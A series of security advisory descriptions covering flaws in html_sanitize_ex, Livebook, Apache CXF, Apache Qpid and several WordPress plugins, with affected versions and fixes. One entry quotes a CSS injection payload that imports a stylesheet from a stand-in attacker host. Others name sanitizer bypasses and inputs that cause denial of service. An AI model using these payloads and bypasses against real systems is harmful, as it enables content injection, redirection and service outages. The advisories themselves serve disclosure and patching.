Inefficient Algorithmic Complexity vulnerability in the traversal engine in rrrene html_sanitize_ex allows an unauthenticated remote attacker to exhaust server CPU and memory via a flat run of sibling elements in sanitized HTML. The list clause of HtmlSanitizeEx.Traverser.traverse/2 recurses on the tail of a sibling list and then evaluates List.flatten([head] ++ tail) over the already flattened result, so every one of n siblings copies and re-walks the entire remaining tail. The flattening is only needed for the rare case where scrub returns several replacement nodes for one node, but the cost is paid across the whole tail at every step, making traversal quadratic in sibling count. The traverser sits on every public entry point, so no particular scrubber or configuration is required and the payload needs only allowed tags. A 160 KB body of 20,000 sibling elements occupies a scheduler for roughly 1.7 seconds, and the cost grows faster than the body does. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.3.
Inefficient Regular Expression Complexity vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to exhaust server CPU via a long CSS declaration in sanitized HTML. The declaration regex in HtmlSanitizeEx.Scrubber.CSS.scrub/1 matches the property name with an unbounded greedy [-\w]+ followed by a mandatory :, so a long run of word characters not followed by a colon makes the engine give back one character at a time and retry the colon at every start offset. The work is quadratic in the length of the run, and no length cap is applied to the CSS handed to the scrubber. An 80 KB <style> body costs roughly 2.4 seconds of scheduler time, so a few concurrent requests saturate the BEAM scheduler pool and make the application unresponsive. The impact is CPU exhaustion only. Nothing is read, modified or disclosed. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.3.
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
Not Failing Securely ('Failing Open') vulnerability in livebook-dev livebook allows an unauthenticated network client to obtain full access to a Livebook server that enforces identity through Livebook Teams. A Livebook Agent or App Server connected to Livebook Teams caches the identifier of the deployment group it belongs to, and resolves that identifier against a locally cached list of deployment groups on every request in order to decide whether Teams identity enforcement is active. Livebook.Hubs.TeamClient.handle_call/3 in lib/livebook/hubs/team_client.ex does not distinguish a deployment group that could not be resolved from one that was resolved with identity enforcement switched off: the clause matches only the case where a group was found with enforcement enabled, and falls through to a catch-all that reports enforcement as switched off for everything else. The two neighbouring functions that decide user and application access resolve the same identifier and treat the same unresolved result as a denial. When the identity status is reported as switched off, Livebook.ZTA.LivebookTeams.authenticate/3 in lib/livebook/zta/livebook_teams.ex returns empty identity metadata and allows the request to continue instead of halting it. LivebookWeb.UserPlug.build_current_user/3 merges that empty metadata into a newly built user, whose access type defaults to full access, and LivebookWeb.AuthPlug.authorized?/1 grants access to any user holding full access. The cached identifier becomes unresolvable when the deployment group it refers to is deleted while the agent is not connected to receive the change, most concretely when a deployment group is deleted during the window in which an agent is disconnected or reconnecting. The client removes the group from its cached list without clearing the identifier that refers to it. Any client able to reach the affected server over the network is then granted the same access as a fully privileged member of the organisation, including the ability to read notebooks and configured secrets, execute code on the server's runtime, and disrupt its operation. This issue affects livebook: from 0.19.7 before 0.19.9.
In Apache CXF's DefaultEncryptingOAuthDataProvider, revoked access tokens still decrypt successfully, and TokenIntrospectionService reports active:true. The same applies to refresh tokens. This violates the RFC stipulations that 'The authorization server MUST invalidate the token.' and 'introspection of a revoked token MUST return {"active":false}'. Users are recommended to upgrade to versions 4.2.3 or 4.1.8 or 3.6.12, which fix this issue.
In Apache CXF's DefaultEncryptingCodeDataProvider, a captured authorization code can be redeemed an unlimited number of times due to a flaw in the implementation of the removeCodeGrant functionality. This violates the RFC requirement that "The authorization code MUST NOT be used more than once." Users are recommended to upgrade to versions 4.2.3 or 4.1.8 or 3.6.12, which fix this issue.
An authenticated attacker can craft a disposition frame with large or illegal ranges causing excessive CPU usage due to naive range handling, leading to denial of service. This issue affects Apache Qpid Broker-J: through 10.0.1. Users are recommended to upgrade to version 10.1.0, which fixes the issue.
An authenticated attacker could exceed the session flow control incoming window potentially leading to denial of service. This issue affects Apache Qpid Broker-J: through 10.0.1. Users are recommended to upgrade to version 10.1.0, which fixes the issue.
An authenticated attacker could exceed the session flow control incoming window potentially leading to denial of service. This issue affects Apache Qpid ProtonJ2: through 1.1.0. Users are recommended to upgrade to version 1.2.0, which fixes the issue.
An authenticated attacker could exceed the session flow control incoming window potentially leading to denial of service. This issue affects Apache Qpid Proton-Dotnet: through 1.0.0. Users are recommended to upgrade to version 1.1.0, which fixes the issue.
Apache CXF's JMS transport deserializes the body of any inbound JMS ObjectMessage using native Java deserialization, with no type restrictions in place. Any attacker able to place a message on the service's JMS destination can submit a malicious serialized object, leading to denial of service or, if a suitable gadget class is on the classpath, remote code execution. The fix disables ObjectMessage deserialization by default, with a configuration switch to re-enable it if needed. Users are recommended to upgrade to versions 4.2.3 or 4.1.8 or 3.6.12, which fix this issue.
Inclusion of Functionality from Untrusted Control Sphere vulnerability in the HTML5 scrubber in rrrene html_sanitize_ex allows a remote attacker to load a document of their choosing into a trusted page via the data attribute of an <object> element in sanitized HTML. object is the one URI-bearing element in lib/html_sanitize_ex/scrubber/html5.ex never registered through allow_tag_with_uri_attributes/3, and its only guard is a prefix match on lowercase "javascript:", so mixed-case variants, data: URIs, protocol-relative URLs and same-origin paths all survive. This is not unconditional cross-site scripting. A javascript: URL does not execute through <object data> in current browsers, data: documents load in an opaque origin, and host-origin script execution additionally requires the application to serve attacker-controlled content from a same-origin path. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.3.
URL Redirection to Untrusted Site ('Open Redirect') vulnerability in the HTML5 scrubber in rrrene html_sanitize_ex allows a remote attacker to force visitors of a page to navigate to a site of the attacker's choosing via a <meta http-equiv="refresh"> element in sanitized HTML. HtmlSanitizeEx.html5/1 keeps attacker-supplied <meta> elements in its output. A meta element acts on the whole document rather than on the fragment it was embedded in, so it can also declare document-wide directives such as Content-Security-Policy. This is not cross-site scripting. Browsers do not navigate a meta refresh to a javascript: URL, so the uppercase JAVASCRIPT: filter bypass yields no script execution and none was demonstrated. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.3.
Unauthenticated Broken Access Control in Simple Membership <= 4.7.8 versions.
Unauthenticated Local File Inclusion in e2pdf <= 1.32.40 versions.
Unauthenticated Cross Site Scripting (XSS) in Facebook for WordPress <= 5.2.1 versions.
Contributor Sensitive Data Exposure in Gutenberg Blocks by Kadence Blocks <= 3.7.8 versions.
A pre-authentication attacker could leverage type size/count handling to cause excessive allocation leading to potential denial of service. This issue affects Apache Qpid ProtonJ2: through 1.1.0. Users are recommended to upgrade to version 1.2.0, which fixes the issue.